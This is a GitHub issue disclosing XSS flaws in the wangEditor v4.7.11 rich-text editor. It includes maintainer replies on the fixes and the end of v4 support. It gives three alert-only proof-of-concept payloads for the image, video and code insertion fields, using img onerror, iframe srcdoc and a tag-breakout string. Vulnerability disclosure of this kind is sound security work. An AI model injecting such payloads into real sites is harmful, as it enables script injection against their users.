Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS vulnerability #3872

Closed
wahaha1573 opened this issue Feb 9, 2022 · 4 comments · Fixed by #3920
Closed

XSS vulnerability #3872

wahaha1573 opened this issue Feb 9, 2022 · 4 comments · Fixed by #3920
Assignees
Labels

Comments

@wahaha1573
Copy link

bug

XSS vulnerability

wangEditor version

V4.7.11

Can the official website reproduce the loopholes ?

Yes

Reproduction steps

1.Use the following code to build the environment or on the official demo website(https://codepen.io/xiaokyo-the-bold/pen/ZEpWByR)

<script type="text/javascript" src="https://unpkg.com/wangeditor/dist/wangEditor.min.js"></script>
<span class="col-lg-8" id="editor"></span>
<script type="text/javascript">
  const E = window.wangEditor
  const editor = new E('#editor')
  editor.create()
</script>

2.Access the location where the image is inserted
payload:
"><img src=1 onerror=alert(/xss/)>
image
Successfully trigger the XSS vulnerability popup
image
3.Access the location where the video was inserted
payload:

<iframe srcdoc="<script>alert(/xss/)</script>">

image
Successfully trigger the XSS vulnerability popup
image

4.Access the location where the code was inserted
payload:
</xmp></code></pre><img src=1 onerror=alert(/xss/)>
image
Successfully trigger the XSS vulnerability popup
image

@wangfupeng1988
Copy link
Collaborator

#3870 重复了。

@wahaha1573
Copy link
Author

The function points are different (#3870 function point is at the image upload, and #3872 has 3 different function points), so I don't think this is a duplicate.

@wangfupeng1988 wangfupeng1988 linked a pull request Feb 25, 2022 that will close this issue
@Gavin-yh
Copy link
Contributor

关于code 和 img 的xss, 已经修复发版。但是iframe的srcdoc属性是一个危险属性,插入的内容需要用户自己控制,插入必须是可信的内容。

@wangfupeng1988
Copy link
Collaborator

V5 已正式发布,v4 的 issue 将暂停处理。
该项目也是业余维护的,精力不够,还请体谅~

推荐尽快升级到 V5 版本。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants